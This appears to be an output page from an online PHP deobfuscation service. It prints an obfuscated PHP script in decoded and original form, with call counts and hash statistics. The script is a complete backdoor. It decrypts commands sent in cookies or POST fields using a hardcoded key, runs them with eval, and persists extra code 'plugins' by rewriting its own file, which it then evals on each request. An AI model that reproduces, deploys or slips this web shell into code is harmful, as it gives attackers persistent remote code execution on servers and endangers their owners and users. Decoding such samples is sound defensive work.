Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$ejqdgqt = '38792c6b-2794-45c5-9514-750bc2790496'; global $ejqdgqt; function lfzoso($apa..

Decoded Output download

<?  $ejqdgqt = '38792c6b-2794-45c5-9514-750bc2790496'; 
global $ejqdgqt; 
function lfzoso($apadarvo) {if (strlen($apadarvo) < 4){return "";}$kolbmt = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$xohljl = str_split($kolbmt);$xohljl = array_flip($xohljl);$yxodkiqmhmtgai = 0;$kdhqunt = "";$apadarvo = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $apadarvo);do {$vqokqancadzchn = $xohljl[$apadarvo[$yxodkiqmhmtgai++]];$pkxfat = $xohljl[$apadarvo[$yxodkiqmhmtgai++]];$chbbejb = $xohljl[$apadarvo[$yxodkiqmhmtgai++]];$xizknwk = $xohljl[$apadarvo[$yxodkiqmhmtgai++]];$zuzopft = ($vqokqancadzchn << 2) | ($pkxfat >> 4);$yxodkiqmggtrpk = (($pkxfat & 15) << 4) | ($chbbejb >> 2);$zplslymq = (($chbbejb & 3) << 6) | $xizknwk;$kdhqunt = $kdhqunt . chr($zuzopft);if ($chbbejb != 64) {$kdhqunt = $kdhqunt . chr($yxodkiqmggtrpk);}if ($xizknwk != 64) {$kdhqunt = $kdhqunt . chr($zplslymq);}} while ($yxodkiqmhmtgai < strlen($apadarvo));return $kdhqunt;}if (!function_exists('file_put_contents')){function file_put_contents($yxodkiqm, $qsntdxcy, $vqokqancdxzvziq = False){$kbhehypy = $vqokqancdxzvziq == 8 ? 'a' : 'w';$vqokqanc = @fopen($yxodkiqm, $kbhehypy);if ($vqokqanc === False){return 0;}else{if (is_array($qsntdxcy)) $qsntdxcy = implode($qsntdxcy);$vernck = fwrite($vqokqanc, $qsntdxcy);fclose($vqokqanc);return $vernck;}}}if (!function_exists('file_get_contents')){function file_get_contents($pquxfl){$mimhca = fopen($pquxfl, "r");$yxodkiqmhmtgaijoggrw = fread($mimhca, filesize($pquxfl));fclose($mimhca);return $yxodkiqmhmtgaijoggrw;}}function phzqoue(){return trim(preg_replace("/\(.*\$/", '', __FILE__));}function hrkgvc($hbawbmm, $yxodkiqmwehiy){$tlkwwcpufqfqp = "";for ($yxodkiqmhmtgai=0; $yxodkiqmhmtgai<strlen($hbawbmm);){for ($tlkwwcp=0; $tlkwwcp<strlen($yxodkiqmwehiy) && $yxodkiqmhmtgai<strlen($hbawbmm); $tlkwwcp++, $yxodkiqmhmtgai++){$tlkwwcpufqfqp .= chr(ord($hbawbmm[$yxodkiqmhmtgai]) ^ ord($yxodkiqmwehiy[$tlkwwcp]));}}return $tlkwwcpufqfqp;}function dhmwit($hbawbmm, $yxodkiqmwehiy){global $ejqdgqt;return hrkgvc(hrkgvc($hbawbmm, $yxodkiqmwehiy), $ejqdgqt);}function qwlryl($hbawbmm, $yxodkiqmwehiy){global $ejqdgqt;return hrkgvc(hrkgvc($hbawbmm, $ejqdgqt), $yxodkiqmwehiy);}function tdxqcwuj(){$vllcrdt = @file_get_contents(phzqoue());$kkpnqknc = strpos($vllcrdt, md5(phzqoue()));if ($kkpnqknc !== FALSE){$qyfglmm = substr($vllcrdt, $kkpnqknc + 32);$yxorqcb = @unserialize(dhmwit(rawurldecode($qyfglmm), md5(phzqoue())));}else{$yxorqcb = Array();}return $yxorqcb;}function zrnkko($yxorqcb){$vnxroi = rawurlencode(qwlryl(@serialize($yxorqcb), md5(phzqoue())));$vllcrdt = @file_get_contents(phzqoue());$kkpnqknc = strpos($vllcrdt, md5(phzqoue()));if ($kkpnqknc !== FALSE){$tlkwwcpavcghh = substr($vllcrdt, $kkpnqknc + 32);$vllcrdt = str_replace($tlkwwcpavcghh, $vnxroi, $vllcrdt);}else{$vllcrdt = $vllcrdt . "

//" . md5(phzqoue()) . $vnxroi;}@file_put_contents(phzqoue(), $vllcrdt);}function doaihpd($wgquhrj, $yucyyznr){$yxorqcb = tdxqcwuj();$yxorqcb[$wgquhrj] = lfzoso($yucyyznr);zrnkko($yxorqcb);}function idhwbv($wgquhrj){$yxorqcb = tdxqcwuj();unset($yxorqcb[$wgquhrj]);zrnkko($yxorqcb);}function ufwovc($wgquhrj=NULL){foreach (tdxqcwuj() as $yxodkiqmlpopxjf=>$ygxmqdjv){if ($wgquhrj){if (strcmp($wgquhrj, $yxodkiqmlpopxjf) == 0){eval($ygxmqdjv);break;}}else{eval($ygxmqdjv);}}}foreach (array_merge($_COOKIE, $_POST) as $vjnjzihc => $hbawbmm){$hbawbmm = @unserialize(dhmwit(lfzoso($hbawbmm), $vjnjzihc));if (isset($hbawbmm['ak']) && $ejqdgqt==$hbawbmm['ak']){if ($hbawbmm['a'] == 'i'){$yxodkiqmhmtgai = Array('pv' => @phpversion(),'sv' => '2.0-1','ak' => $hbawbmm['ak'],);echo @serialize($yxodkiqmhmtgai);exit;}elseif ($hbawbmm['a'] == 'e'){eval($hbawbmm['d']);}elseif ($hbawbmm['a'] == 'plugin'){if($hbawbmm['sa'] == 'add'){doaihpd($hbawbmm['p'], $hbawbmm['d']);}elseif($hbawbmm['sa'] == 'rem'){idhwbv($hbawbmm['p']);}}echo $hbawbmm['ak'];exit();}}ufwovc(); ?>

Did this file decode correctly?

Original Code

$ejqdgqt = '38792c6b-2794-45c5-9514-750bc2790496';
global $ejqdgqt;
function lfzoso($apadarvo) {if (strlen($apadarvo) < 4){return "";}$kolbmt = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$xohljl = str_split($kolbmt);$xohljl = array_flip($xohljl);$yxodkiqmhmtgai = 0;$kdhqunt = "";$apadarvo = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $apadarvo);do {$vqokqancadzchn = $xohljl[$apadarvo[$yxodkiqmhmtgai++]];$pkxfat = $xohljl[$apadarvo[$yxodkiqmhmtgai++]];$chbbejb = $xohljl[$apadarvo[$yxodkiqmhmtgai++]];$xizknwk = $xohljl[$apadarvo[$yxodkiqmhmtgai++]];$zuzopft = ($vqokqancadzchn << 2) | ($pkxfat >> 4);$yxodkiqmggtrpk = (($pkxfat & 15) << 4) | ($chbbejb >> 2);$zplslymq = (($chbbejb & 3) << 6) | $xizknwk;$kdhqunt = $kdhqunt . chr($zuzopft);if ($chbbejb != 64) {$kdhqunt = $kdhqunt . chr($yxodkiqmggtrpk);}if ($xizknwk != 64) {$kdhqunt = $kdhqunt . chr($zplslymq);}} while ($yxodkiqmhmtgai < strlen($apadarvo));return $kdhqunt;}if (!function_exists('file_put_contents')){function file_put_contents($yxodkiqm, $qsntdxcy, $vqokqancdxzvziq = False){$kbhehypy = $vqokqancdxzvziq == 8 ? 'a' : 'w';$vqokqanc = @fopen($yxodkiqm, $kbhehypy);if ($vqokqanc === False){return 0;}else{if (is_array($qsntdxcy)) $qsntdxcy = implode($qsntdxcy);$vernck = fwrite($vqokqanc, $qsntdxcy);fclose($vqokqanc);return $vernck;}}}if (!function_exists('file_get_contents')){function file_get_contents($pquxfl){$mimhca = fopen($pquxfl, "r");$yxodkiqmhmtgaijoggrw = fread($mimhca, filesize($pquxfl));fclose($mimhca);return $yxodkiqmhmtgaijoggrw;}}function phzqoue(){return trim(preg_replace("/\(.*\$/", '', __FILE__));}function hrkgvc($hbawbmm, $yxodkiqmwehiy){$tlkwwcpufqfqp = "";for ($yxodkiqmhmtgai=0; $yxodkiqmhmtgai<strlen($hbawbmm);){for ($tlkwwcp=0; $tlkwwcp<strlen($yxodkiqmwehiy) && $yxodkiqmhmtgai<strlen($hbawbmm); $tlkwwcp++, $yxodkiqmhmtgai++){$tlkwwcpufqfqp .= chr(ord($hbawbmm[$yxodkiqmhmtgai]) ^ ord($yxodkiqmwehiy[$tlkwwcp]));}}return $tlkwwcpufqfqp;}function dhmwit($hbawbmm, $yxodkiqmwehiy){global $ejqdgqt;return hrkgvc(hrkgvc($hbawbmm, $yxodkiqmwehiy), $ejqdgqt);}function qwlryl($hbawbmm, $yxodkiqmwehiy){global $ejqdgqt;return hrkgvc(hrkgvc($hbawbmm, $ejqdgqt), $yxodkiqmwehiy);}function tdxqcwuj(){$vllcrdt = @file_get_contents(phzqoue());$kkpnqknc = strpos($vllcrdt, md5(phzqoue()));if ($kkpnqknc !== FALSE){$qyfglmm = substr($vllcrdt, $kkpnqknc + 32);$yxorqcb = @unserialize(dhmwit(rawurldecode($qyfglmm), md5(phzqoue())));}else{$yxorqcb = Array();}return $yxorqcb;}function zrnkko($yxorqcb){$vnxroi = rawurlencode(qwlryl(@serialize($yxorqcb), md5(phzqoue())));$vllcrdt = @file_get_contents(phzqoue());$kkpnqknc = strpos($vllcrdt, md5(phzqoue()));if ($kkpnqknc !== FALSE){$tlkwwcpavcghh = substr($vllcrdt, $kkpnqknc + 32);$vllcrdt = str_replace($tlkwwcpavcghh, $vnxroi, $vllcrdt);}else{$vllcrdt = $vllcrdt . "\n\n//" . md5(phzqoue()) . $vnxroi;}@file_put_contents(phzqoue(), $vllcrdt);}function doaihpd($wgquhrj, $yucyyznr){$yxorqcb = tdxqcwuj();$yxorqcb[$wgquhrj] = lfzoso($yucyyznr);zrnkko($yxorqcb);}function idhwbv($wgquhrj){$yxorqcb = tdxqcwuj();unset($yxorqcb[$wgquhrj]);zrnkko($yxorqcb);}function ufwovc($wgquhrj=NULL){foreach (tdxqcwuj() as $yxodkiqmlpopxjf=>$ygxmqdjv){if ($wgquhrj){if (strcmp($wgquhrj, $yxodkiqmlpopxjf) == 0){eval($ygxmqdjv);break;}}else{eval($ygxmqdjv);}}}foreach (array_merge($_COOKIE, $_POST) as $vjnjzihc => $hbawbmm){$hbawbmm = @unserialize(dhmwit(lfzoso($hbawbmm), $vjnjzihc));if (isset($hbawbmm['ak']) && $ejqdgqt==$hbawbmm['ak']){if ($hbawbmm['a'] == 'i'){$yxodkiqmhmtgai = Array('pv' => @phpversion(),'sv' => '2.0-1','ak' => $hbawbmm['ak'],);echo @serialize($yxodkiqmhmtgai);exit;}elseif ($hbawbmm['a'] == 'e'){eval($hbawbmm['d']);}elseif ($hbawbmm['a'] == 'plugin'){if($hbawbmm['sa'] == 'add'){doaihpd($hbawbmm['p'], $hbawbmm['d']);}elseif($hbawbmm['sa'] == 'rem'){idhwbv($hbawbmm['p']);}}echo $hbawbmm['ak'];exit();}}ufwovc();

Function Calls

array_merge 1
function_exists 2

Variables

$ejqdgqt 38792c6b-2794-45c5-9514-750bc2790496

Stats

MD5 5745829b268e5cbe4effc37b09e4369d
Eval Count 0
Decode Time 86 ms